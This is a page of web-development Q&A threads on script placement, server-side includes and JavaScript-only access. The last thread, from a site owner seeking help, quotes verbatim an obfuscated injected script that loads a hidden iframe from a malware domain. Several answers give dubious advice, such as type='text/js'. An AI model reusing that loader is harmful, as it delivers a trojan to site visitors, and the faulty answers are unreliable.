Ok - first of all I know this isn't ideal - however we have inherited a problem and some badly thought out SSI html.
So some background: We have implemented a responsive site which has to include some SSI code from the client for global top nav and footer - so far so good. However the SSI needs to change from DESKTOP to MOBILE as the site is resized/loaded on a mobile device. We do all this client side at the moment. We have a trigger at break points to alter the dom to do all the responsive stuff.
A similar example is here http://www.conrandesigngroup.com. (Resize the browser to see what happens.)
Normally we would load the SSI into holding pages and AJAX the code in to the appropriate place using some kind of selector.
The problem: The SSI is not fully formed HTML, it looks something like this:
<!-- desktop ssi -->
</head>
<body>
Whole bunch of desktop html...
<div class="content">
Then the SSI we have for the mobile site is:
<!-- mobile ssi -->
<script>some script...</script>
</head>
<body>
Whole bunch of mobile html...
<div class="content">
So you will notice there is a closing</head> and an opening <body> and at the end there is an opening <div>. So there is no way we can select this and replace using the DOM. We were thinking of using comments either side of the code and using a javascript regex to replace the code. Im not sure if this would actually update the browser.
So in desktop mode the whole page will look like this:
<html>
<title>my page</title>
<head>
...all the head stuff
<!-- START of ssi -->
<!-- desktop ssi -->
</head>
<body>
Whole bunch of desktop html...
<div class="content">
<!-- END of SSI -->
...all the page HTML
</div>
</body>
</html>
So thats fine - the HTML is all put together serverside and we can open and close the tags correctly. The problem is how would we change the HTML INSIDE the comments using client side code <!- START of ssi -->...<!-- END of SSI -->
In the end its not really a SSI question - rather a way to change a bit of HTML which is not wrapped up nicely in an element.
Anyone come across this issue before or have any suggestions?
The common denominator is this:
The body element contains the content
Both the mobile and desktop content start with the first child of the body
The code to empty the first element would be the same for both versions:
document.getElementsByTagName("body")[0].firstChild.innerHTML = "";
Wrap the code in a pre element to make it easy to modify.
References
W3C DOM4
Related
I am having a huge problem. I need to prevent access to non javascript users for a page on my website. I am not very technical when it comes to websites, hmtl or java ect. But I have a page that i would like non javascript users to not be able to access. I have tried lots of code from here in my header and footer such as
<noscript>
<meta http-equiv="refresh" content="0; URL=nojs/index.php">
</noscript>
but it does not work.
To put this into more detail my problem is that a host a webpage with a list of download links. There is an app (web browser) for amazon devices (android) that accesses webpages and allows you to download but it comes with javascript disabled by default.
This means that my Ads dont show and i am now getting 40TB a month bandwidth usage from people using this software which means i may have to pull the site soon as it costs more to run than the ads give back.
I think i need to either block non javascript users. Or is there a way i can make my links on that page in javascript so that none javascript users cant see or use them?
In an ideal world i would just like to display a message saying please enable javascript in settings but i have tried many header codes with no success. Any help here greatly appreciated
I tried using the meta tag inside the noscript tags like you did, and it worked fine for me. Try using an absolute link to your nojs page instead of the relative one you have. I don't know of a way to completely block nonjs users. Another option would be to use the noscript tags to hide the content of your html pages when js is disabled. This won't completely disable nonjs users from seeing your pages since if they are tech-savy they could use inspect-element to unhide the page content, but for the most part it should do a good job of preventing nonjs users from viewing your page. You can also include a no script alert. For example:
<!DOCTYPE html>
<html>
<head>
<title>
</title>
<noscript>
<style>
div.content {
display: none;
}
</style>
</noscript>
</head>
<body>
<noscript>
Please enable Javascript to view this Page
</noscript>
<div class=content>
Page Content Here
</div>
</body>
</html>
I'm looking into creating browser game development. I have a strong background in C programming (c/c++/c#) and web development (html/css/wordpress/some JS). This area of programming seems like chaos and no one has a firm framework that works well and is good.
I've been exploring at libraries available such as gameQueryJs and other tutorials I've found such as Canvas Tutorial, I keep running into the same issue.
They all just jump STRAIGHT into the code. No pre-set up, how the HTML page should look like, just nothing. They all go BANG, right into the javascript.
Before I get into the javascript I need to set up the web page. I am wondering how such a page would be designed like and how to import scripts correctly.
For example, if I wanted to add jquery and the gamequery libary, would I add it like this?
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/jquery-3.1.0.min.js"></script>
<script src="js/jquery.gamequery-0.7.1.js"></script>
<title> GAME TITLE </title>
</head>
<body>
<div id="game-txt">
<h1> GAME TITLE </h1>
</div>
<div id="wrap">
<div id="canvascontainter">
<canvas id="canvas" width="300" height="300"></canvas> -- ignore this, this was when I was playing with the canvas tutorial
</div>
</body>
</html>
<!-- SCRIPT STUFF DOWN HERE? -->
To further explain my issue, here is gameQueryJS's first line of code they introduce to you to use.
var PLAYGROUND_HEIGHT = 250;
var PLAYGROUND_WIDTH = 700;
$("#playground").playground({height: PLAYGROUND_HEIGHT, width: PLAYGROUND_WIDTH});
Where does that go? What is the playground id they are manipulating on the page? They just throw that line at you like every other tutorial I've found without explaining anything.
Javascript can be placed in script tags or in a seperate file just like the gameQueryJs libraries that you are loading.
Where you put the script tags is almost entirely up to you, although most people will put them in the section.
Putting them below the closing tag of the page is not correct however. Unfortunately most browsers will accept and execute it even then because they try quite hard to make every page they get served work. For more on where to place script tags check W3Schools
The playground they refer to is an element that you'd have on your page, in their example from lesson one it is a div with the id playground.
Also, if you check the first example that they give you can select Edit with JSFiddle the code they show there should help anwser part of your question as well as add to the lack of information you complained about.
I tried Google PageSpeed Insights to check how much my website speed does well! But it shows an error in mobile version. Google suggested me to remove render blocking javascript to make my site better looks in mobile device. I've written bellow what exactly they said to me.
Your page has 1 blocking script resources and 3 blocking CSS
resources. This causes a delay in rendering your page.
None of the above-the-fold content on your page could be rendered
without waiting for the following resources to load. Try to defer or
asynchronously load blocking resources, or inline the critical
portions of those resources directly in the HTML. Remove
render-blocking JavaScript:
https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js
Optimize CSS Delivery of the following:
http://fonts.googleapis.com/…%3A300%2C400%7CRaleway%3A400%2C500%2C900
https://www.blogger.com/…/3728782508-widget_css_mobile_bundle.css
https://www.blogger.com/…&zx=88195f1c-da8c-4c99-bb3e-609abb88c4fa
If you've written your page to be dependent on using jquery on load, removing it would mean you'd have to re-write a lot of your code, to save, perhaps 10 milliseconds in load time?
Open your browser's debugger, look at the NETWORK tab and reload the page. You should be able to decide whether this suggested optimization is worth it or not (I'm suggesting it is not).
I was having a similar issue with Javascript. Make sure that in your code after your source your java that you put a type="text/js". Like this:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js" type="text/js"></script>
Otherwise you need to go into your server and make adjustments to your htcaccess file.
Heloo Nazmul, may be you should to edit your question to "How to Remove default JS and CSS that make Render Blocking Javascript in Blogger?" may be so long but I think your problem is it.
Follow my step with :
change <head> to <head>
If your Internet Service Provider give some bloking JS and CSS add <!-- </head> --> before </head>
Change </head> to <!--<head/>-->
add <!-- </body></html> --> before </body></html>
It is about DOM get work, I will give you example my blank blogger template if you still headache.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<meta charset='utf-8'/>
<style/>
<b:skin><![CDATA[]]></b:skin>
<!-- </head> -->
<!--<head/>-->
<body>
<b:section class='header' id='header' showaddelement='yes'/>
<h1 style="color:blue;font-family: monospace">klikada.com</h1>
<b:section class='main' id='main' showaddelement='yes'/>
<b:section class='footer' id='footer' showaddelement='yes'/>
<!-- </body></html> -->
<style>a:link{text-decoration:none;}a:visited{text-decoration:none;}a:hover{text-decoration:none;}a:active{text-decoration:underline;}</style>
</body>
</html>
I currently am working on a large site with many different issues to contend with. One being that I have no easy way to include a script into my <head> without manually doing it for 500+ pages.
I have the possibility to include jQuery.min just inside the <body> tag from an include located there.
My question is, aside it not being a standard implementation, would there be any negative effects from not loading jQuery within the <head> tag? Will all the functions be available?
I am aware that if I do this, I will not be able to call jQuery from within the <head> or before this include... that's okay.
example:
<head>
Standard Head Stuff
</head>
<body>
<div>Some Content</div>
<!-- My Include is roughly here -->
<script type="text/javascript" src="jquery.min.js"></script>
<div>More content</div>
<script type="text/javascript">
$(document).ready(function(){
// Put my jQuery commands here
});
</script>
</body>
The only issue is that a page is loaded from top to bottom and so if you were to place the include statement into the header than you would be assured that the library would be loaded immediately. Otherwise the library may only be loaded at a later time which can cause a delay in some effects potentially.
Head or body, inline code will execute when phrased. Code is generally placed in the head so external libraries can be loaded before the page is (so effects can be run on dom ready). Code in the body will be run once the dom is done with the header code, and done loading page elements (once in the body, elements are loaded from top to bottom). So any code in the body will be executed once the page had loaded (up to that point)
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!